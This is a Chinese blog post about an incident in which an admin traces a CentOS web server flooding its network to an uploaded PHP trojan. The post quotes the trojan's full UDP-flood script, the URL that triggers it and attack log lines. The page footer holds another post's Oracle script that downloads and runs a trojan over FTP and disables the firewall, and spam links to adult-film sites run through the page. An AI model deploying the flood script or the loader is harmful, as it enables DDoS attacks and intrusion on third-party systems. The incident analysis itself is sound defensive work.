一次服务器抓马经历

最新推荐文章于 2022-05-18 16:51:18 发布
最新推荐文章于 2022-05-18 16:51:18 发布
阅读量896 收藏
点赞数


一次服务器抓马经历

情景

今天早上五点，收到监控宝的警告短信，说是网站M无法访问了。睡的正香，再说网站所在系统是Centos，重要数据每天都备份，应该很安全，也没有在意。倒头接着睡觉去了。

 

早上九点，机房负责人直接给我打来电话，说是全机房网络巨慢，单位的所有网站都打不开或打开的很慢。

2Centos服务器抓马经历

我赶紧赶了过去，查看了一下那里网络，发现175服务总是以50M/S速度向外发包，而175服务器正是网站M所在的服务器。  果断SSH连接175服务器，发现175服务器连接也很慢，连上之后top一下，查看cpu负载。

 

发现有两个apache进程占用cpu一直在40%以上，马上停止httpd 服务。
service httpd stop

停止httpd服务之后，再看网络状态，175服务器也不向外发包了，一切正常。

伦理片 http://www.dotdy.com/ 

由此判断应该是175服务器挂了马，疯狂向外发包，挤占了全部机房带宽。

3抓马过程

175服务器是有硬件防火墙，只开http80跟ssh22端口，ssh不太可能被盗号，应该是通过web漏洞挂马。早上5点才中招的，木马程序文件应该在1天之内。

切到M站点根目录之下，查找最近一天内变动的文件，执行：

find ./ -mtime -1

果然，一个名为phzLtoxn.php的可疑文件出现在目录列表中。查看一下木马程序的创建者，执行：

ls -l phzLtoxn.php

这里发现文件就没了，难道这文件还会自我销毁？

 

4抓马小插曲

隔壁的管理员小黄注意到这个文件挂马文件，二话不说就删除了。我过去劈头批评教育了小黄一顿。见了木马程序就知道 删删删删 ！难道木马程序不会再生成啊？你得顺藤摸瓜，不是一刀切。你得找到漏洞源头！删了没办法，再把httpd服务开启了，引狼入室，等等看能否再生成。

 

果然，半小时不到，新的phzLtoxn.php文件又生成了。查看了一下，文件创建者是apache,由此判断这肯定是通过网站漏洞上传的。

5分析木马文件，查看黑客意图

 

这里贴出phzLtoxn.php文件源代码，并作了简单注释，仅作学习之用：

<?php

//设置脚本运行时间

set_time_limit(999999);

//攻击目标服务器ip

$host = $_GET[‘host’];

//攻击目标服务器端口

$port = $_GET[‘port’];

//攻击时长

$exec_time = $_GET[‘time’];

//每次发送字节数

$Sendlen = 65535;

$packets = 0;

//设置客户机断开不终止脚本的执行

ignore_user_abort(TRUE);

//step1. 目标服务器$host、端口$port、运行时长$exec_time有效性

if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {

if (StrLen($_GET[‘rat’]) <> 0) {

echo $_GET[‘rat’] . $_SERVER[“HTTP_HOST”] . “|” . GetHostByName($_SERVER[‘SERVER_NAME’]) . “|” . php_uname() . “|” . $_SERVER[‘SERVER_SOFTWARE’] . $_GET[‘rat’];

exit;

}

echo “Warning to: opening”;

exit;

}

//step2. 设定发字符串$out,这里是“AAAAAAAAAA…”

for ($i = 0; $i < $Sendlen; $i++) {

$out .= “A”;

}

$max_time = time() + $exec_time;

//step3. 进行攻击,使用udp向目标服务器狠狠发串串

while (1) {

$packets++;

if (time() > $max_time) {

break;

}

$fp = fsockopen(“udp://$host”, $port, $errno, $errstr, 5);

if ($fp) {

fwrite($fp, $out);

fclose($fp);

}

}

//step4. 攻击统计

echo “Send Host $host:$port<br><br>”;

echo “Send Flow $packets * ($Sendlen/1024=” . round($Sendlen / 1024, 2) . “)kb / 1024 = ” . round($packets * $Sendlen / 1024 / 1024, 2) . ” mb<br><br>”;

echo “Send Rate ” . round($packets / $exec_time, 2) . ” packs/s” . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . ” mb/s”;

?>

从以上代码可以看出，是个典型的DDOS攻击代码。黑客应该是把我们服务器当傀儡使用，组织大量傀儡服务器疯狂向目标服务器发包。黑客只需要打开浏览器，敲入http://www.yango.cn/phzLtoxn.php?host=x.x.x.x&port=xx&time=xx就可以对目标服务器进行ddos攻击了。

查看httpd日志，分析下攻击ip源，执行

tail /data/apachelogs/access.log | grep phzLtonxn.php

183.12.75.240 – – [18/Dec/2015:10:38:46 +0800] “GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

110.185.121.167 – – [18/Dec/2015:10:38:56 +0800] “GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

110.185.121.167 – – [18/Dec/2015:10:38:58 +0800] “GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

110.185.121.167 – – [18/Dec/2015:10:39:08 +0800] “GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

110.185.121.167 – – [18/Dec/2015:10:39:12 +0800] “GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

118.161.219.152 – – [18/Dec/2015:10:39:28 +0800] “GET /phzLtoxn.php?host=61.164.148.49&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

影音先锋电影 http://www.iskdy .com/

发现源ip来自多个，目标服务器ip也有多个，都属于很多国家，有点奇怪啊，为什么黑客没有针对性的攻击呢，无聊的黑客啊。

6找漏洞

1

重新审视了M站目录下文件权限。仅对几个必要的缓存、静态化的目录为apache开启了写权限，防止phzLtoxn.php文件再次生成。

2

重新开启httpd服务，使用360网站检测对H站进行漏洞检测，发现M站中有严重的远程执行漏洞，于是赶紧打了补丁。

3

补丁打好之后，顺便修改了系统用户、数据库用户、ftp用户的密码、M站系统用户密码。

观察几日之后，一切正常。

7小结一下几个安全原则

1

权限最小化

web目录一定做好权限，仅仅对apache开几个必要文件夹的写权限。

2

时刻注意补丁更新

经常使用第三方的网站安全检测工具，也可参考十大安全评估工具，如果网站系统使用了第三方常用程序，多注意一下乌云漏洞平台的信息。

3

中招后一定要补牢

别光删删删删，要查找中招源头，分析黑客目的。




dotedy
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
溯源系列：溯源案例一
weixin_54626591的博客
01-06 1301
溯源案例一
如何抓到入侵网站的黑客？
weixin_34092455的博客
07-09 2724
shotgun ，讲故事的黑客 366 人赞同 利益相关：信息安全从业人员，曾在某大学教过公安部委托培训信息安全硕士《攻防与技术侦破》专业课。======按照时间划分，一次犯罪是由犯罪动机、犯罪方法和犯罪后果三个部分构成的，那么侦破也相应的可以从这三个部分分别入手。先来看动机，最难侦破的是无动机犯罪，例如走在街上临时起意做了个案子，回家后洗心革面重新做人，这种案子往往会成为“悬...
5自动扫描传马(服务器循环扫描专版)
03-17
5自动扫描传马(服务器循环扫描5自动扫描传马(服务器循环扫描专版)专版)5自动扫描传马(服务器循环扫描专版)
centos服务器抓马经历
Junkie0901的专栏
06-09 1392
第一给公司弄服务器没到一个星期就中
映射-- 一对一(两种)(人与身份)
光线技术博客
09-06 4479
一对一 ，例如"人" 对 "身份证"的对应关系     伦理片 http://www.dotdy.com/ 第一种情况: IdCard类的ID 既是主键又是外键   关系请看下图,  (图中的配置, 写反了 ,不要参考,  正确的配置请看下面的代码) Person类: Java代码   package dao.po;      /*
3306手工抓服务器教程及工具
08-06
安全网络基地，抓鸡系列教程 ——3306手工抓服务器教程及工具
Linux远程ssh脚本执行命令问题
三劫散仙
12-04 475
[size=medium] 总结下使用ssh远程执行命令需要注意点： 一般我们会使用ssh ip "执行命令"这种格式来执行远程是shell命令，但是如果是简单的一些操作还好，比如cd，rm，ls，mv等命令一般不会出问题 ，但是如果你的脚本任务是，杀死多台机器上的hadoop或者elasticsearch进程，你会怎么做？ 直接使用： ssh h1 "kill -9 `jp...
记一次Centos服务器被挂马的抓马经历
09-15
主要介绍了记一次Centos服务器被挂马的抓马经历分享，非常不错，具有参考借鉴价值，需要的朋友参考下
当公司企业邮件服务器IP被列黑名单的解决办法
qinglan2021的博客
08-05 3525
1、什么是邮件黑名单？ 随着互联网的不断普及和扩大，在它带给人们方便的时候，也给了一些黑客从事非法活动提供了很隐蔽的方式。黑客经常利用一些木马、病毒程序从事非法活动，对企事业单位经常会造成不可想象的损失。而这些可恶的木马、病毒程序常常隐藏在邮件当中，而这些邮件我们称之为垃圾邮件。为了让垃圾邮件对人们造成的损失降到最低，人们使用了各种办法，其中一个办法就在全球建立了多个反垃圾邮件的网站，这些网站制定一些垃圾 邮件检测规则，凡是属于这些规则的邮件都属于垃圾邮件，当来自一个邮件服务器的垃圾邮件过多时，这些网站就会
一名双非名媛成功拿下蚂蚁、美团、携程等大厂拿offer后复盘面试经历
yyyy_11119的博客
09-18 450
今天小编给大家带来一个优秀妹子的后台面试经验总结，希望对正在面试或者以后需要面试的人提供一些参考和帮助。具体如下： 本人妹子，985硕士，211本科，专业都是软件工程，一直投的是Java后台开发，只投过一次网易的测试，技术不是大牛，但是比较努力。实验室没有项目，so项目经验是0，在去年这个时候看到实验室师兄找工作的艰难，因此开始复习的时间比较早。 最开始先看的java基础，看的马某某的视频，后面就看框架视频，后来也看过某某学院的视频，都是在网上找的免费的。《剑指offer》刷了一遍，有些重点的题一定要滚瓜烂
3306vip自动传马
10-07
黑友盗号必备,很实用的工具,大家可以试试FTP服务器等等~~`````
个人全自动1521传马工具日抓千鸡
04-24
个人全自动1521传马工具日抓千鸡 http://www.skycn.com/soft/1211.html http://www.irisbay.com/down/pub/ora10client.rar 首先安装两个必须的文件 3. 安装ftp 建立好自己的 ftp地址 账户 密码 4. 设置目录里面的 java.sql 打开以后 看最下面 自己修改ftp地址 账户 密码等等 5. 都设置完成以后 把目录里面的 java.sql 放到c盘 即可！ create or replace and compile java souRCe named "util" as import java.io.*; import java.lang.*; public class util extends Object { public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(); int RC = -1; try { Process p = rt.exec(args); int bufSize = 4096; BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize); int len; byte buffer[] = new byte[bufSize]; // Echo back what the program spit out while ((len = bis.read(buffer , 0, bufSize)) != -1) System.out.write(buffer, 0, len); RC = p.waitFor(); } catch (Exception e) { e.printStackTrace(); RC = -1; } finally { return RC; } } } / create or replace function RUN_CMz(p_cmd in varchar2) return number as language java name 'util.RunThis(java.lang.String) return integer'; / create or replace procedure RC(p_cmd in varChar) as x number; begin x := RUN_CMz(p_cmd); end; / variable x number; set serveroutput on; exec dbms_java.set_output(100000); grant javasyspriv to system; grant javauserpriv to system; exec:x:=run_cmz('net stop sharedaccess'); exec:x:=run_cmz('cmd.exe cmd/C del p.bat'); exec:x:=run_cmz('cmd.exe cmd/C del d.bat'); exec:x:=run_cmz('cmd.exe cmd/C del k.exe'); exec:x:=run_cmz('cmd.exe cmd/C echo open IP>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo FTP账号>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo FTP密码>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo bin>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo get 木马名.exe>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo bye>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo ftp -s:p.bat>>d.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo 木马名.exe>>d.bat'); exec:x:=run_cmz('d.bat'); exec:x:=run_cmz('木马名.exe'); exec:x:=run_cmz('cmd.exe cmd/C del C:\WINDOWS\system32\cscript.exe'); exec:x:=run_cmz('cmd.exe cmd/C del p.bat'); exec:x:=run_cmz('cmd.exe cmd/C del d.bat'); exec:x:=run_cmz('cmd.exe cmd/C del 木马名.exe'); exit exit
风铃3306传马编码转换
10-31
风铃3306传马编码转换
Linux文件查找命令find,xargs详述
光线技术博客
05-18 1065
Linux文件查找命令find,xargs详述 总结：zhy2111314 来自：LinuxSir.Org 整理：北南南北 摘要：本文是find 命令的详细说明，可贵的是针对参数举了很多的实例，大量的例证，让初学者更为容易理解；本文是zhyfly兄贴在论坛中；我对本文进行了再次整理，为方便大家阅读； 目录 版权声明 前言：关于find命令 伦理片ht
感人韩国电影推荐
热门推荐
Madeira的博客
10-09 13万+
超赞韩国电影推荐16340175 数据科学与计算机学院目录 1.熔炉 2.素媛 3.釜山行 4.结婚礼服 5.七号房的礼物1.熔炉 该影片以2000年至2004年间发生于光州一所聋哑障碍人学校中性暴力事件为蓝本，描述该时间所引发的悲剧以及学校的教师和人权运动者一起力图揭开背后黑幕的故事。 来自首尔的哑语美术老师姜仁浩来到雾津，应聘于慈爱聋哑人学校。天降大雾，他意外撞车，维修时邂逅了人
一招教你如何搜索国内各大网盘资源
无忧代理IP
12-02 1252
国内网盘众多，比较常用的有百度云网盘、新浪微盘、千军万马网盘、115网盘等。   那么如果想要搜索网盘资源怎么办？   这些网盘并没有提供搜索功能，下面介绍一个网站云盘搜搜，可以很方便搜索网盘资源。   网址：http://www.yunpansoso.com     ...
查看Linux系统版本信息方法
多特店影的专栏
09-12 769
#uname -a (查看操作系统内核信息) Linux updb.inspur 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux  伦理片 http://www.dotdy.com/ #cat /proc/version  (查看操作系统版本信息) Li
某网的五一首发的黑夜3306终结版 工具+教程
weixin_30273931的博客
06-28 645
功能： 1.新增双通道传马 2.第一通道负责修复代码 再次传风铃HTTP的马 3.新增WinMysql.dll 传马方式，自己去感觉吧，通过第一通道修复代码后，用此dll传马效率极高 4.其他传马方式全部是优化。 5.尽量删除my.exe这个传马方式，不然卡死别找我，WinMysql.dll 这个WIN传马强劲，基本都会传 6.此版本我自己用下来不会卡死，自动结束的bat还是可以...
DDoS木马删除
ACanswer的专栏
09-09 4583
最近云服务器报错，查看是被DDoS攻击了，经过一些努力，终于完成删除，现总结如下。 目录 一、检测命令是否被更换 二、查看木马源文件  三、删除 3.1 在crontab计划任务中删除 3.2 删除计划任务文件  3.3 删除libudev4.so木马源文件 四、删除开机启动项中的木马文件 4.1 删除开机启动木马文件 4.2 删除启动脚本中木马文件 五、检查和重启 5.1...
S7-1200 MODBUS TCP客户端：一次请求读写保持寄存器详解
"本文档详细介绍了如何在西门子S7-1200 PLC中通过MODBUS TCP客户端实现一次请求中对服务器的保持性寄存器进行读写操作，适用于TIA博途V17及更高版本。" 在工业自动化领域，MODBUS TCP是一种广泛使用的通信协议，...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值